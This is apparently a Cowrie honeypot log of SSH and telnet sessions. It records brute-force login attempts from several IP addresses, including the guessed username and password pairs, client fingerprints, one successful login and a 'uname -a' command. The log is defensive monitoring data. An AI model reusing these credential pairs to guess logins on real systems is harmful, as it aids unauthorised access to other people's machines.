{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3f:21:c6:d4:39:6d:02:7b:ec:5c:f2:c9:98:2c:7f:ec","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuX7hVsxxsBKoqwirhm7x5yWgFzNmRwVjCmTcVf39ciY8bHcXMWv/S0Fliu8ko35RO0Sa1zW6CcicNDaMd/2nbEaDRnJmGCytqWwZpaRiv2uwo8b8+3ucAZV8p+JLIG29jbdY106aXZWJB18/Jpz9YSKYZLbm7nx2EFTjJGPbfuBa2jGOlgiYTwAvy3UsGaoDXWObBnQapzvo6P2SnE5azjNrUJ3SbTYAZD2itRPYlLWOWTK93u/NA6hCFosLfAhkZKzlXttEDMiRxZlfw6UpArhuMWhygO9Yy2G15xmDwIoIUyzds9T1cDJYKEZlFn3CSgQOtLCWsOWEKTTKlvBDZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:33:33.995058Z","src_ip":"89.37.117.71","session":"8b6417c8c43b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"45:c7:60:df:20:77:d6:f0:9b:f5:3b:92:ee:af:6a:fd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCfJfFOt00fri1IQncs26px4QSZMYmILtnt0WZJoXHQ5aISxhdCo0fc08PvAomVi5MFZuor06Z8yrBF+nIKamHfWVHh5zSy/xOCv+XXLJOLS3vocua8rgUIoCVt8C1tjEMVBdQ6F51ZjSQ9itxzhd3+3f7AIiIUQ+HeRgSYqIfRZv+4Tm781/+X+wpCWPsH43IOUXMx0ZBny9Hm1Fo1NNmm+nJFlVBKliRE1eMfbwpurAHdhzGn9W7z621Vsljju/NDnVugsCMrpujY+Okj9Ke3EvTACl6VCaaINbsWu6wOQp6RVb2QVD90boBjxjqrrjD0HGuhOR4q9F/nHT0yy2cd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 45:c7:60:df:20:77:d6:f0:9b:f5:3b:92:ee:af:6a:fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:33:34.118809Z","src_ip":"89.37.117.71","session":"8b6417c8c43b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"45:c7:60:df:20:77:d6:f0:9b:f5:3b:92:ee:af:6a:fd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCfJfFOt00fri1IQncs26px4QSZMYmILtnt0WZJoXHQ5aISxhdCo0fc08PvAomVi5MFZuor06Z8yrBF+nIKamHfWVHh5zSy/xOCv+XXLJOLS3vocua8rgUIoCVt8C1tjEMVBdQ6F51ZjSQ9itxzhd3+3f7AIiIUQ+HeRgSYqIfRZv+4Tm781/+X+wpCWPsH43IOUXMx0ZBny9Hm1Fo1NNmm+nJFlVBKliRE1eMfbwpurAHdhzGn9W7z621Vsljju/NDnVugsCMrpujY+Okj9Ke3EvTACl6VCaaINbsWu6wOQp6RVb2QVD90boBjxjqrrjD0HGuhOR4q9F/nHT0yy2cd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:33:34.122920Z","src_ip":"89.37.117.71","session":"8b6417c8c43b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"71:d0:82:80:37:68:56:ff:13:33:c9:8c:4d:d0:5b:05","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOIktd8xl5Xfd2tOLwXXb+4/mE4TTRHrXfaQee602BJ8ry/bDQxpW257FSok0EIC0SJK/cxipVGpmagf7Dxl+nr3pUSQ07CY6g5lW1/rvI0WX1RImUEITYi3yxdaKFJoPEV4cj1dFhXBHuGuenRXj2Y3JOX3nV3a/z6FDYpwuXCRR8lsXDy+zKtH5W/pIkg+lpmJ0c+QlSvzwNAlawdRJICJkdbNJNeBgC/wV86gnWYFwEnL00Gtj7dix2CMSNK7qG1Qbb4+LjC/BOTu6RDkB+BPezTtfiyG+VflVMYUY/6jEYMqS880OikVfE5tXUr7o635u1HKZD+3punKKAYc7P","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 71:d0:82:80:37:68:56:ff:13:33:c9:8c:4d:d0:5b:05","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:33:34.247240Z","src_ip":"89.37.117.71","session":"8b6417c8c43b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"71:d0:82:80:37:68:56:ff:13:33:c9:8c:4d:d0:5b:05","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOIktd8xl5Xfd2tOLwXXb+4/mE4TTRHrXfaQee602BJ8ry/bDQxpW257FSok0EIC0SJK/cxipVGpmagf7Dxl+nr3pUSQ07CY6g5lW1/rvI0WX1RImUEITYi3yxdaKFJoPEV4cj1dFhXBHuGuenRXj2Y3JOX3nV3a/z6FDYpwuXCRR8lsXDy+zKtH5W/pIkg+lpmJ0c+QlSvzwNAlawdRJICJkdbNJNeBgC/wV86gnWYFwEnL00Gtj7dix2CMSNK7qG1Qbb4+LjC/BOTu6RDkB+BPezTtfiyG+VflVMYUY/6jEYMqS880OikVfE5tXUr7o635u1HKZD+3punKKAYc7P","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:33:34.251243Z","src_ip":"89.37.117.71","session":"8b6417c8c43b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:33:34.374722Z","src_ip":"89.37.117.71","session":"8b6417c8c43b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.84.236.222","src_port":35676,"dst_ip":"10.17.0.5","dst_port":22,"session":"4bb19ab2199d","protocol":"ssh","message":"New connection: 103.84.236.222:35676 (10.17.0.5:22) [session: 4bb19ab2199d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:33:54.869834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:33:54.875986Z","src_ip":"103.84.236.222","session":"4bb19ab2199d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:33:55.111692Z","src_ip":"103.84.236.222","session":"4bb19ab2199d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":46012,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e1d905974e7","protocol":"ssh","message":"New connection: 202.145.0.61:46012 (10.17.0.5:22) [session: 3e1d905974e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:33:55.399239Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:33:55.407475Z","src_ip":"202.145.0.61","session":"3e1d905974e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:33:55.648421Z","src_ip":"202.145.0.61","session":"3e1d905974e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe147258369","message":"login attempt [root/qwe147258369] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:33:56.084003Z","src_ip":"103.84.236.222","session":"4bb19ab2199d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"password123","message":"login attempt [sftpuser/password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:33:56.641207Z","src_ip":"202.145.0.61","session":"3e1d905974e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:33:57.322921Z","src_ip":"103.84.236.222","session":"4bb19ab2199d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:33:57.885228Z","src_ip":"202.145.0.61","session":"3e1d905974e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":31453,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f8d117293d3","protocol":"ssh","message":"New connection: 2.57.121.25:31453 (159.203.135.109:22) [session: 4f8d117293d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:34:21.684089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:34:21.688872Z","src_ip":"2.57.121.25","session":"4f8d117293d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:34:21.785021Z","src_ip":"2.57.121.25","session":"4f8d117293d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"13051981","message":"login attempt [user/13051981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:34:22.243961Z","src_ip":"2.57.121.25","session":"4f8d117293d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1301","message":"login attempt [user/1301] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:34:23.343616Z","src_ip":"2.57.121.25","session":"4f8d117293d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.26.252.153","src_port":34158,"dst_ip":"159.203.135.109","dst_port":23,"session":"48949e31b93d","protocol":"telnet","message":"New connection: 2.26.252.153:34158 (159.203.135.109:23) [session: 48949e31b93d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:34:23.472671Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"12451245","message":"login attempt [user/12451245] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:34:24.447177Z","src_ip":"2.57.121.25","session":"4f8d117293d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12378","message":"login attempt [user/12378] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:34:25.546718Z","src_ip":"2.57.121.25","session":"4f8d117293d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123454","message":"login attempt [user/123454] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:34:26.647255Z","src_ip":"2.57.121.25","session":"4f8d117293d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:34:27.746567Z","src_ip":"2.57.121.25","session":"4f8d117293d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.303441047668457,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:34:27.776002Z","src_ip":"2.26.252.153","session":"48949e31b93d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":34208,"dst_ip":"10.17.0.5","dst_port":22,"session":"07eb24803ba9","protocol":"ssh","message":"New connection: 202.145.0.61:34208 (10.17.0.5:22) [session: 07eb24803ba9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:34:47.315117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:34:47.318933Z","src_ip":"202.145.0.61","session":"07eb24803ba9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:34:47.550324Z","src_ip":"202.145.0.61","session":"07eb24803ba9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123654","message":"login attempt [admin/123654] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:34:48.508814Z","src_ip":"202.145.0.61","session":"07eb24803ba9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:34:49.746738Z","src_ip":"202.145.0.61","session":"07eb24803ba9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.84.236.222","src_port":52182,"dst_ip":"10.17.0.5","dst_port":22,"session":"acfd4d5ac146","protocol":"ssh","message":"New connection: 103.84.236.222:52182 (10.17.0.5:22) [session: acfd4d5ac146]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:34:58.581936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:34:58.586723Z","src_ip":"103.84.236.222","session":"acfd4d5ac146","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:34:58.821177Z","src_ip":"103.84.236.222","session":"acfd4d5ac146","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwe123qwe","message":"login attempt [root/Qwe123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:34:59.791302Z","src_ip":"103.84.236.222","session":"acfd4d5ac146","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:35:01.028715Z","src_ip":"103.84.236.222","session":"acfd4d5ac146","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":39952,"dst_ip":"10.17.0.5","dst_port":22,"session":"87911ad74908","protocol":"ssh","message":"New connection: 103.15.226.202:39952 (10.17.0.5:22) [session: 87911ad74908]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:35:12.107740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:35:12.112829Z","src_ip":"103.15.226.202","session":"87911ad74908","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:35:12.372865Z","src_ip":"103.15.226.202","session":"87911ad74908","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin@9000","message":"login attempt [admin/Admin@9000] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:35:13.090166Z","src_ip":"103.15.226.202","session":"87911ad74908","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:35:13.647733Z","src_ip":"103.15.226.202","session":"87911ad74908","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:35:13.652946Z","src_ip":"103.15.226.202","session":"87911ad74908","protocol":"ssh"}
